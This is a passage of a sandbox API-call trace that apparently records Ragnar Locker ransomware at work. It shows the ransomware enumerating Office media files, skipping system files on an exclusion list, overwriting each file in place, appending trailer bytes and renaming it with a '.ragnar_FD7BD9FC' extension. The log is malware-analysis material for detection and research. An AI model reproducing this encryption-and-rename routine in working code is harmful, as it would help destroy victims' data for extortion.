[0095.484] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.484] CloseHandle (hObject=0x104) returned 1 [0095.484] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" [0095.484] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF.ragnar_FD7BD9FC" [0095.484] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.487] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa438000, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa438000, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195534.WMF", cAlternateFileName="")) returned 1 [0095.487] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.487] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0195534.WMF" | out: lpString1="J0195534.WMF") returned="J0195534.WMF" [0095.487] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF") returned=".WMF" [0095.487] lstrcmpiW (lpString1="J0195534.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.487] lstrcmpiW (lpString1="J0195534.WMF", lpString2="autorun.inf") returned 1 [0095.487] lstrcmpiW (lpString1="J0195534.WMF", lpString2="boot.ini") returned 1 [0095.487] lstrcmpiW (lpString1="J0195534.WMF", lpString2="bootfont.bin") returned 1 [0095.487] lstrcmpiW (lpString1="J0195534.WMF", lpString2="bootsect.bak") returned 1 [0095.487] lstrcmpiW (lpString1="J0195534.WMF", lpString2="bootmgr") returned 1 [0095.487] lstrcmpiW (lpString1="J0195534.WMF", lpString2="bootmgr.efi") returned 1 [0095.487] lstrcmpiW (lpString1="J0195534.WMF", lpString2="bootmgfw.efi") returned 1 [0095.488] lstrcmpiW (lpString1="J0195534.WMF", lpString2="desktop.ini") returned 1 [0095.488] lstrcmpiW (lpString1="J0195534.WMF", lpString2="iconcache.db") returned 1 [0095.488] lstrcmpiW (lpString1="J0195534.WMF", lpString2="ntldr") returned -1 [0095.488] lstrcmpiW (lpString1="J0195534.WMF", lpString2="ntuser.dat") returned -1 [0095.488] lstrcmpiW (lpString1="J0195534.WMF", lpString2="ntuser.dat.log") returned -1 [0095.488] lstrcmpiW (lpString1="J0195534.WMF", lpString2="ntuser.ini") returned -1 [0095.488] lstrcmpiW (lpString1="J0195534.WMF", lpString2="thumbs.db") returned -1 [0095.488] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.488] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.488] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.488] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.488] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.488] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.488] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf")) returned 0x20 [0095.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.489] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10076) returned 1 [0095.489] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2753, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.489] GetProcessHeap () returned 0x580000 [0095.489] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.489] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.491] VirtualAlloc (lpAddress=0x0, dwSize=0x275c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.491] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.491] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.491] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x275c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x275c, lpOverlapped=0x0) returned 1 [0095.492] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.492] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x275c, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.492] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x275c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x275c, lpOverlapped=0x0) returned 1 [0095.492] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x275c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.492] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.492] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x275c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.492] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.493] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.493] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.493] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.493] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.493] GetProcessHeap () returned 0x580000 [0095.493] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.493] CloseHandle (hObject=0x104) returned 1 [0095.493] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" [0095.493] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF.ragnar_FD7BD9FC" [0095.493] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.494] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455d9300, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x455d9300, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195812.WMF", cAlternateFileName="")) returned 1 [0095.494] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.494] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0195812.WMF" | out: lpString1="J0195812.WMF") returned="J0195812.WMF" [0095.494] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF") returned=".WMF" [0095.494] lstrcmpiW (lpString1="J0195812.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.494] lstrcmpiW (lpString1="J0195812.WMF", lpString2="autorun.inf") returned 1 [0095.494] lstrcmpiW (lpString1="J0195812.WMF", lpString2="boot.ini") returned 1 [0095.494] lstrcmpiW (lpString1="J0195812.WMF", lpString2="bootfont.bin") returned 1 [0095.494] lstrcmpiW (lpString1="J0195812.WMF", lpString2="bootsect.bak") returned 1 [0095.494] lstrcmpiW (lpString1="J0195812.WMF", lpString2="bootmgr") returned 1 [0095.494] lstrcmpiW (lpString1="J0195812.WMF", lpString2="bootmgr.efi") returned 1 [0095.494] lstrcmpiW (lpString1="J0195812.WMF", lpString2="bootmgfw.efi") returned 1 [0095.494] lstrcmpiW (lpString1="J0195812.WMF", lpString2="desktop.ini") returned 1 [0095.494] lstrcmpiW (lpString1="J0195812.WMF", lpString2="iconcache.db") returned 1 [0095.494] lstrcmpiW (lpString1="J0195812.WMF", lpString2="ntldr") returned -1 [0095.494] lstrcmpiW (lpString1="J0195812.WMF", lpString2="ntuser.dat") returned -1 [0095.494] lstrcmpiW (lpString1="J0195812.WMF", lpString2="ntuser.dat.log") returned -1 [0095.494] lstrcmpiW (lpString1="J0195812.WMF", lpString2="ntuser.ini") returned -1 [0095.494] lstrcmpiW (lpString1="J0195812.WMF", lpString2="thumbs.db") returned -1 [0095.494] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.494] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.494] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.494] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.494] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.494] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.494] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf")) returned 0x20 [0095.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.495] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4042) returned 1 [0095.495] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfc1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.495] GetProcessHeap () returned 0x580000 [0095.495] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.495] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.497] VirtualAlloc (lpAddress=0x0, dwSize=0xfca, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.497] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.497] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.497] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xfca, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xfca, lpOverlapped=0x0) returned 1 [0095.497] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.497] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfca, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.497] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xfca, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xfca, lpOverlapped=0x0) returned 1 [0095.497] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfca, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.497] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.497] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.497] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.498] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.498] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.498] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.498] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.498] GetProcessHeap () returned 0x580000 [0095.498] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.498] CloseHandle (hObject=0x104) returned 1 [0095.498] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" [0095.498] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF.ragnar_FD7BD9FC" [0095.498] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.499] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec5c200, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ec5c200, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196164.WMF", cAlternateFileName="")) returned 1 [0095.499] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.499] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0196164.WMF" | out: lpString1="J0196164.WMF") returned="J0196164.WMF" [0095.499] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF") returned=".WMF" [0095.499] lstrcmpiW (lpString1="J0196164.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.499] lstrcmpiW (lpString1="J0196164.WMF", lpString2="autorun.inf") returned 1 [0095.499] lstrcmpiW (lpString1="J0196164.WMF", lpString2="boot.ini") returned 1 [0095.499] lstrcmpiW (lpString1="J0196164.WMF", lpString2="bootfont.bin") returned 1 [0095.499] lstrcmpiW (lpString1="J0196164.WMF", lpString2="bootsect.bak") returned 1 [0095.499] lstrcmpiW (lpString1="J0196164.WMF", lpString2="bootmgr") returned 1 [0095.499] lstrcmpiW (lpString1="J0196164.WMF", lpString2="bootmgr.efi") returned 1 [0095.499] lstrcmpiW (lpString1="J0196164.WMF", lpString2="bootmgfw.efi") returned 1 [0095.499] lstrcmpiW (lpString1="J0196164.WMF", lpString2="desktop.ini") returned 1 [0095.499] lstrcmpiW (lpString1="J0196164.WMF", lpString2="iconcache.db") returned 1 [0095.499] lstrcmpiW (lpString1="J0196164.WMF", lpString2="ntldr") returned -1 [0095.499] lstrcmpiW (lpString1="J0196164.WMF", lpString2="ntuser.dat") returned -1 [0095.499] lstrcmpiW (lpString1="J0196164.WMF", lpString2="ntuser.dat.log") returned -1 [0095.499] lstrcmpiW (lpString1="J0196164.WMF", lpString2="ntuser.ini") returned -1 [0095.499] lstrcmpiW (lpString1="J0196164.WMF", lpString2="thumbs.db") returned -1 [0095.499] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.499] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.499] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.499] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.499] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.499] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.499] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf")) returned 0x20 [0095.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.500] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1970) returned 1 [0095.500] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x7a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.500] GetProcessHeap () returned 0x580000 [0095.500] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.500] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.501] VirtualAlloc (lpAddress=0x0, dwSize=0x7b2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.502] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.502] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.502] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7b2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7b2, lpOverlapped=0x0) returned 1 [0095.502] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.502] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7b2, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.502] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7b2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7b2, lpOverlapped=0x0) returned 1 [0095.502] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7b2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.502] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.502] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x7b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.502] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.502] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.502] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.503] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.503] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.503] GetProcessHeap () returned 0x580000 [0095.503] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.503] CloseHandle (hObject=0x104) returned 1 [0095.503] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" [0095.503] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF.ragnar_FD7BD9FC" [0095.503] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf"), 